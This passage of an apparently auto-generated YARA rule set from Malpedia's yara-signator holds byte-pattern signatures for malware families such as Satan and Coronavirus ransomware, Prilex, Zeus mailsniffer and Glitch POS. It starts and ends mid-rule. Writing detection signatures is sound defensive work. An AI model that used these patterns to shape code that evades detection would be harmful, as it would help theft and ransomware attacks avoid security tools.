		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 68???????? eb25 807dec00 7504 33c9 }
		$sequence_1 = { 8b13 50 8d8d6cffffff e8???????? 83ec18 }
		$sequence_2 = { 66894508 720b ff7520 e8???????? 83c404 8ac3 }
		$sequence_3 = { c746140f000000 c7461000000000 68???????? 8bce c745fc00000000 }
		$sequence_4 = { c7411000000000 50 c60100 e8???????? 8d8da4feffff }
		$sequence_5 = { 83f908 720d 8b0e 50 8d145a e8???????? eb2c }
		$sequence_6 = { e8???????? 68???????? 8bd0 8d4dd8 c645fc03 e8???????? }
		$sequence_7 = { 1bc0 f7d8 5e 5d c20800 85f6 750f }
		$sequence_8 = { 50 888534ffffff 8d8535ffffff 50 e8???????? 83c40c }
		$sequence_9 = { 837d1c10 8bd8 8d4508 0f434508 56 }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Funny_Dream_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7c5b8541-25d5-552c-920a-b086563867d9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.funny_dream_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "d6d8f879d884c791eab9cf877f711b463f1b8fd3433301e06ffb4b2f059a3774"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8bd8 c745f025735c2a 56 8d45f0 }
		$sequence_1 = { 8d7f01 88443bff 84c0 75f3 8b4df8 }
		$sequence_2 = { 50 8d4701 c785e0f5ffff0a000000 50 }
		$sequence_3 = { 50 e8???????? 68ff010000 8d85fdfdffff 6a00 }
		$sequence_4 = { f3a4 50 e8???????? 8b742414 83c408 85c0 748d }
		$sequence_5 = { 83bdacfeffff00 744b 8d85a0feffff c785a0feffff00010000 50 ffb59cfeffff }
		$sequence_6 = { 57 8bf9 6a00 8db750100000 56 ff15???????? 85c0 }
		$sequence_7 = { 56 8b7508 57 8b3d???????? 6aff ff7608 ffd7 }
		$sequence_8 = { 53 8a4810 8d4602 50 884e01 e8???????? 8b4508 }
		$sequence_9 = { 0f118424e0000000 0f10842458010000 0f118424f0000000 e8???????? 898424c8000000 8b4508 }
	condition:
		7 of them and filesize < 393216
}

rule MALPEDIA_Win_Coronavirus_Ransomware_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6151d4f1-97cc-5312-ae6b-4a65c017356c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coronavirus_ransomware"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coronavirus_ransomware_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "12ada14137bab3268f52ca487b70dc117c439c16c715b2ea437f3cb7436cd1a9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b7dbc 2bfb 1bc6 8945d0 8b4dc8 8d140b }
		$sequence_1 = { 83c404 85f6 746a 803e00 7465 33c0 33d2 }
		$sequence_2 = { 8b35???????? 83c404 85f6 746a 803e00 }
		$sequence_3 = { 90 8b55ec 8b45f0 6a00 b9???????? 81e9???????? }
		$sequence_4 = { e8???????? 83c404 6a00 6a00 0fb60d???????? 8b148d78954100 52 }
		$sequence_5 = { 33f6 56 56 6a03 56 6a03 56 }
		$sequence_6 = { ffd0 6800200000 8d85f8deffff 50 ff15???????? }
		$sequence_7 = { 85db 0f84cd010000 c745fc01000000 8975e4 }
		$sequence_8 = { b8???????? e8???????? 8d4df0 51 8d55a0 52 }
		$sequence_9 = { ff15???????? 8b35???????? 83c418 68???????? ffd6 68???????? ffd6 }
	condition:
		7 of them and filesize < 235520
}

rule MALPEDIA_Win_Ahtapot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "30983b3b-d2d6-5541-9384-47b5921b3fc8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ahtapot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ahtapot_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "7f340dfa857e7f52e8c2b134f735bba10e8c0df571d4ec73a1af949780ad4400"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1fa05 8bc2 c1e81f 03d0 b814000000 2bc2 0fb7542410 }
		$sequence_1 = { 51 8d9580fbffff 52 8d8570f7ffff 68???????? 50 ffd7 }
		$sequence_2 = { 8d842494000000 6683383f 7508 ba20000000 668910 41 66399c4c94000000 }
		$sequence_3 = { bf00000800 7413 893d???????? 833b02 7422 }
		$sequence_4 = { 69c9e8030000 51 ff15???????? 80bec412000000 0f8504fbffff 33c0 8b8c24d8120000 }
		$sequence_5 = { 7cb7 3d00010000 740a c786a4af060028a74200 8a55fc 8894303c1b0000 8d8eb41e0000 }
		$sequence_6 = { 0f8494000000 8d85bcf7ffff 8d5002 8d642400 668b08 83c002 6685c9 }
		$sequence_7 = { 889d65cbffff 89954ccbffff 898550cbffff 899d28cbffff 899d38cbffff 899d48cbffff }
		$sequence_8 = { 75df 8d85d0fdffff 50 ffd3 8b4dfc 5f 5e }
		$sequence_9 = { 899d70cbffff 899568cbffff 899d60cbffff 3bf3 7533 8b8518cbffff 8b4804 }
	condition:
		7 of them and filesize < 430080
}

rule MALPEDIA_Win_Anel_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6aaa2dab-4b34-505d-ab57-a83be80c60ae"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anel"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anel_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "bf88932655884d72c230c9a3ca2d9886c485937f46465847549f25d9f3a65ea5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ebc4 395dc4 7515 8b4594 83c0c8 50 8d4580 }
		$sequence_1 = { 83781410 897810 7202 8b00 c60000 39bb3c020000 }
		$sequence_2 = { 7403 33db 43 899fd4010000 6a01 33ff 8d750c }
		$sequence_3 = { 53 8d45c4 33ff 50 895dfc 47 6802000080 }
		$sequence_4 = { 7477 03fe 57 8d857cffffff 50 53 e8???????? }
		$sequence_5 = { 68???????? 50 e8???????? 83c410 8d45d0 50 e8???????? }
		$sequence_6 = { 6a00 8bd0 8d8c24b0000000 c684245c01000005 e8???????? 53 33ff }
		$sequence_7 = { 837f1410 7202 8b3f 8d442450 50 57 e8???????? }
		$sequence_8 = { 8d7dd0 a5 a5 a5 a5 8b75f0 8bfb }
		$sequence_9 = { 837f1410 7204 8b07 eb02 8bc7 8d3418 56 }
	condition:
		7 of them and filesize < 376832
}

rule MALPEDIA_Win_Devilstongue_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cb644977-bc63-5b36-b265-16f0a9990cd7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.devilstongue"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.devilstongue_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "6bf4998aa4a3a736abc9e6f3277df773ad349380ff37a5c0b9cd66bbd149cb14"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b442430 b9daa5a546 ebbb 4889442428 488b442428 4889442420 4889f9 }
		$sequence_1 = { b8be144e7b 3db15f1d58 744c 3dbe144e7b 75f2 488b7c2420 }
		$sequence_2 = { 3dea84e30c 741d 3d140a3916 75b7 807c242f00 b81ec8dc61 0f45c6 }
		$sequence_3 = { 488d0d5edf0100 48894c05b0 488b45b0 48634004 8d8850ffffff 894c05ac 488d4dc0 }
		$sequence_4 = { ebe1 488b45b8 488b45b0 b9bd77097c 488b75e8 81f9316958ca 7436 }
		$sequence_5 = { 4881c4e0040000 5f 5e 5d 48ff6018 488d4da8 e8???????? }
		$sequence_6 = { 4883ec28 488d6c2420 48c74500feffffff 4889ce 488d05f9750300 488901 488d4108 }
		$sequence_7 = { 4889d9 4889f2 4d89c1 e8???????? 4989c4 b9abd62222 81f92832a1a7 }
		$sequence_8 = { 75f2 488d0dd3030500 48890f 488b4f08 ffd6 b862579455 }
		$sequence_9 = { 3d1bc2c8c1 0f8582feffff b88853f001 3d7f2a6238 0f84f7010000 3d8853f001 75ee }
	condition:
		7 of them and filesize < 990208
}

rule MALPEDIA_Win_Lightneuron_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "effcdfe2-a4bd-534e-86eb-84be08a02b5f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightneuron_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "6ad51552136a32b2e5f3fef922b412240ca64bebb497b163d34faf6af2a9c320"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b0d???????? 4885d2 480f45ca ff15???????? 488b4b08 8d5001 e8???????? }
		$sequence_1 = { 448830 e8???????? 85c0 744e 488bcb e8???????? 41ffc4 }
		$sequence_2 = { 488bd3 4c0f45c8 488b05???????? 488bcf 4885c0 4c0f45c0 e8???????? }
		$sequence_3 = { c744244801000000 85ff 0f8598080000 488b8c24d8000000 4883f901 7304 33c0 }
		$sequence_4 = { 2bd8 78ef 4863db 488bd5 4803de 488bcb }
		$sequence_5 = { e8???????? 488bc7 41be01000000 458d4603 33d2 488bcf 4c89742470 }
		$sequence_6 = { 4883ec38 488b4c2440 ff15???????? 89442420 837c2420ff 7507 }
		$sequence_7 = { 4885ed 7437 4885c0 7432 488d7501 483bf0 7729 }
		$sequence_8 = { 0fb6c8 410fb6c1 339c8dc0e90300 339c8580d50300 418bc1 41c1e910 41335d04 }
		$sequence_9 = { 4c89742428 4489742420 e8???????? 418bee 488b05???????? 488b15???????? }
	condition:
		7 of them and filesize < 573440
}

rule MALPEDIA_Win_Unidentified_104_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "22cbe35d-f38f-5d67-9ed1-a6824dbbad6b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_104"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_104_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "7237a55b9f406cfa347ef2bcf70f76cf7dbf15c7062684d829227ca0ac28ac39"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b7910 488bd9 488bcf 4c8bf2 e8???????? ba20000000 498bce }
		$sequence_1 = { 488bf9 498bd8 488d4c2420 e8???????? 41b804000000 488d4c2450 488bd3 }
		$sequence_2 = { 48897e10 48897e18 0f1000 0f1106 0f104810 0f114e10 48897810 }
		$sequence_3 = { 8bda e8???????? 4885c0 750d e8???????? 33c0 4883c420 }
		$sequence_4 = { 4c8bb42490000000 498b86a0000000 4803c1 4c03d8 4933d3 4c895c2408 4c8bda }
		$sequence_5 = { 4933ca 4c8b942490000000 498b82a8000000 4803c1 4c03c0 4933d0 }
		$sequence_6 = { cc e8???????? 4d8d4601 488bd6 498bcf e8???????? 48891e }
		$sequence_7 = { 41c1ea19 4433d0 4403742408 4503e2 8b442404 4133dc }
		$sequence_8 = { e8???????? 4439b59c000000 7413 e9???????? ff15???????? cc 4489b59c000000 }
		$sequence_9 = { 49c1e820 4c33c2 488b542420 4903d0 4c33ca 498bc9 }
	condition:
		7 of them and filesize < 263168
}

rule MALPEDIA_Win_Prilex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ddf38178-7ef1-5c36-b125-6bf3f451e7fb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prilex_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "fbaec0a907818a5c45443c868d80b924ff651b8b9668a983a8d7f07c1fa9a7e6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4ddc ff15???????? 8d4dcc ff15???????? 8d55c4 52 6a00 }
		$sequence_1 = { 8d4db0 50 51 8975b0 e8???????? 8b55e8 }
		$sequence_2 = { c785d4feffff01000000 8b45c4 50 6a01 ff15???????? }
		$sequence_3 = { 8b550c 3b32 0f84d4000000 3bf7 0f84cc000000 8d55b8 }
		$sequence_4 = { ff15???????? 50 8b45e0 8d4ddc 50 }
		$sequence_5 = { 8bf0 ff15???????? 8d45c8 8d4dcc 50 51 }
		$sequence_6 = { 33c0 833a00 0f95c0 0bc8 85c9 7538 c745fc03000000 }
		$sequence_7 = { 51 e8???????? 8945d0 c745fc04000000 66c785f8feffff0000 8d95f8feffff }
		$sequence_8 = { 8d8dacfdffff 68???????? 52 898d54fdffff c7854cfdffff08400000 }
		$sequence_9 = { 8b542428 33c0 89442414 53 8944241c 33c9 }
	condition:
		7 of them and filesize < 450560
}

rule MALPEDIA_Win_Pubload_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "eb3eb2a3-33cb-52f0-8b9b-1e92524c642b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pubload"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pubload_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "cbebb262e4f807799c3d6fba9199253493785b2d8970bb9dd2ccb71611e2a01f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c408 33c9 68???????? 66894802 }
		$sequence_1 = { ff15???????? 68???????? 6a00 6a00 6a00 ff15???????? c3 }
		$sequence_2 = { 6804010000 68???????? 6a00 ff15???????? 6a5c }
		$sequence_3 = { ff15???????? 6a5c 68???????? e8???????? 83c408 33c9 68???????? }
		$sequence_4 = { 83c408 33c9 68???????? 66894802 ff15???????? }
		$sequence_5 = { 6803001f00 ff15???????? 85c0 7408 6a00 ff15???????? 68???????? }
		$sequence_6 = { 68???????? 6a00 6a00 6a00 ff15???????? c3 }
		$sequence_7 = { 68???????? 6a00 ff15???????? 6a5c 68???????? e8???????? 83c408 }
		$sequence_8 = { 68???????? e8???????? 83c408 33c9 68???????? }
		$sequence_9 = { 6a00 6a00 6a00 ff15???????? c3 }
	condition:
		7 of them and filesize < 524288
}

rule MALPEDIA_Win_Zeus_Mailsniffer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fb336c30-936c-5161-8554-4fa39d727895"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_mailsniffer_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "b88fdb233f08271f4c82945f7e7e3b8d498570e4526ea1a19d24dcafd9d77060"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 81ec1c020000 56 6a1c 58 8945f0 c745f4c89d2d01 8945f8 }
		$sequence_1 = { 0f8486000000 6a10 58 e8???????? 8bf0 85f6 }
		$sequence_2 = { e8???????? 83c40c 833e00 894608 897e0c 7421 }
		$sequence_3 = { 8b4508 8b4dec c745f451000000 8908 83ff17 750f }
		$sequence_4 = { e8???????? 57 68???????? 57 e8???????? 83c424 }
		$sequence_5 = { 85c0 0f8498010000 8b45f4 8365c800 83c004 }
		$sequence_6 = { 57 8d85ecfeffff 50 53 8d85b4faffff }
		$sequence_7 = { ff15???????? ffb424f4040000 ff15???????? 8b8424cc040000 }
		$sequence_8 = { 83c410 85ff 742c 8b462c ff7608 ff7628 85c0 }
		$sequence_9 = { 743f 66833f00 7439 56 6a16 8d75e4 58 }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Webc2_Yahoo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "363fee5b-028a-51bb-ae8e-5e88e615a60a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_yahoo_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "cbf24b20d63128f54b5e31c01d6a0853cc228489290e6c3462d1dc4838163313"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d443802 50 e8???????? 56 e8???????? ff750c }
		$sequence_1 = { ffb69c841e00 ff15???????? 85c0 7506 53 }
		$sequence_2 = { e8???????? 015d0c 03f3 83c428 }
		$sequence_3 = { ffb694841e00 ffd3 57 e8???????? 59 }
		$sequence_4 = { 83ec64 8b4d08 56 57 68???????? 6a01 }
		$sequence_5 = { e8???????? 6a04 68???????? ff750c ff15???????? }
		$sequence_6 = { 85c0 0f84b4000000 8d85fcfeffff 56 50 8d85fcfeffff }
		$sequence_7 = { 8d85c8fdffff 56 50 e8???????? 83c418 }
		$sequence_8 = { 8b7518 83c414 8d85fcd7ffff 8bcb }
		$sequence_9 = { b838280000 e8???????? 53 56 }
	condition:
		7 of them and filesize < 8060928
}

rule MALPEDIA_Win_Satan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "68d44cab-535c-5e80-af20-cc11a23f278f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.satan_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "d0b3d89d021ce91fc4570ebd9fe46022bd9b8c1b3f3581186971725c2d3f1922"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b02 c1f806 8b4d0c 8b11 83e23f 6bca30 8b148540e04700 }
		$sequence_1 = { 8d4db8 c745fcffffffff e8???????? 8d45b8 c745fc10000000 50 8d45e4 }
		$sequence_2 = { 8945cc c645d300 c745c8ffffffff 83cbff 895dc4 c745d800000000 c745dc00000000 }
		$sequence_3 = { 3305???????? b904000000 6bd124 8982d0d14700 68???????? 8b45fc 50 }
		$sequence_4 = { 660f123d???????? 25ff010000 83c001 25fe030000 f20f592c85c01a4700 f20f591485c01a4700 660f5834c5d0224700 }
		$sequence_5 = { 7511 3d00200000 740a be06000000 33c9 8975c0 894dc8 }
		$sequence_6 = { f20f5cc3 03c0 03c0 03c0 03c0 660f289800334700 660f2835???????? }
		$sequence_7 = { c745fc00000000 33c9 8b751c ba02000000 46 8bc6 f7e2 }
		$sequence_8 = { 8bff 55 8bec 83ec10 8b4508 8d0c8598e24700 51 }
		$sequence_9 = { e8???????? 8d45b8 c745fc10000000 50 8d45e4 b9???????? 50 }
	condition:
		7 of them and filesize < 1163264
}

rule MALPEDIA_Win_Phantomcore_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2be56282-528c-5044-bd7b-3727ed618862"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phantomcore"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phantomcore_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "ee848610d848563fe98dd89814048251462308bba35e0801488bbe21ef0c4142"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d45d0 8d4da8 68???????? 50 e8???????? c745f001000000 8d45c0 }
		$sequence_1 = { e9???????? 8b16 0f57c0 0f1145c8 83f803 bf03000000 0f42f8 }
		$sequence_2 = { 8b65e8 83c50c c745f0ffffffff ff75d8 ff15???????? ff75d8 ff15???????? }
		$sequence_3 = { c78634020000cc734b00 c7864402000018714b00 8d8648020000 50 e8???????? 83c404 c7863402000018714b00 }
		$sequence_4 = { eb11 8975d8 50 e8???????? 83c404 89c1 8b45d8 }
		$sequence_5 = { c745c818714b00 8d4dcc c745d000000000 c745cc00000000 c745c026f64b00 c645c401 8d45c0 }
		$sequence_6 = { c7443a480f000000 c6443a3400 8d1c3a 83c34c 83c74c 39cb 0f8571ffffff }
		$sequence_7 = { e8???????? 83c410 68???????? 8d852cffffff 50 e8???????? 83c408 }
		$sequence_8 = { ff431c c7431800000000 c74344e1c94b00 b80e000000 e9???????? c745f0ffffffff 0fb64dac }
		$sequence_9 = { ff7514 ff74240c 6a01 57 e8???????? 8b0e 8b01 }
	condition:
		7 of them and filesize < 1840128
}

rule MALPEDIA_Win_Koiloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5e4efaa4-8409-52c6-a357-d4b16d12b604"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koiloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.koiloader_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "a14056c4d5487fcde976e3de41a707b0de19ece78e34b4f5bb62e5e5638e41ed"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3bd1 72f2 c6043100 8d5e12 668b4712 33c9 66894610 }
		$sequence_1 = { 88840d80fdffff 41 83f950 72ec 8d9580fdffff 8d8d98f1ffff }
		$sequence_2 = { 83c308 03ca 894dc8 8b7904 83ef08 d1ef }
		$sequence_3 = { 8d8d2cfbffff e8???????? 8d8d2cfbffff e8???????? 33c9 }
		$sequence_4 = { 8be5 5d c20400 56 8b35???????? 6a00 ffd6 }
		$sequence_5 = { 8d8d28f5ffff e8???????? 8d8d28f5ffff e8???????? 33c9 }
		$sequence_6 = { 46 807c35c000 75f8 33ff 90 e8???????? 33d2 }
		$sequence_7 = { 8b7dcc 85ff 7426 8b45d0 33c9 8d1c00 85db }
		$sequence_8 = { 8d4df8 51 0f47c2 50 8d8584fbffff 50 ff75f0 }
		$sequence_9 = { e8???????? 33c9 66660f1f840000000000 8a840d70edffff 88840d60ffffff 41 83f950 }
	condition:
		7 of them and filesize < 101376
}

rule MALPEDIA_Win_Glitch_Pos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c93e3d6a-335e-54cb-bdcc-97351033393c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glitch_pos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glitch_pos_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "21a834f4b54c4ad338d28c072f57ab5cdab3b8ecf8da5350f54289b7483fd1b9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
